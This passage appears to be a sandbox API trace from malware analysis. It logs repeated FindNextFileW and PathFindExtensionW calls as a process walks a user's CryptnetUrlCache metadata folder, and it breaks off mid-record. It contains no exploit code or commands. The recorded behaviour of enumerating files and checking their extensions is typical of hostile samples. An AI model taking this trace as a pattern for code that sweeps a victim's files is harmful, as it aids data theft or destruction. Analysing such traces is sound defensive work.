ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0272.319] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0272.319] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0272.320] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0272.320] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0272.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0272.321] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0272.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0272.321] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0272.321] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0272.321] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0272.322] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0272.322] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x611ea800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x611ea800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5836df00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5836df00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0272.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0272.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0272.324] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0272.324] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbf0dd70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", 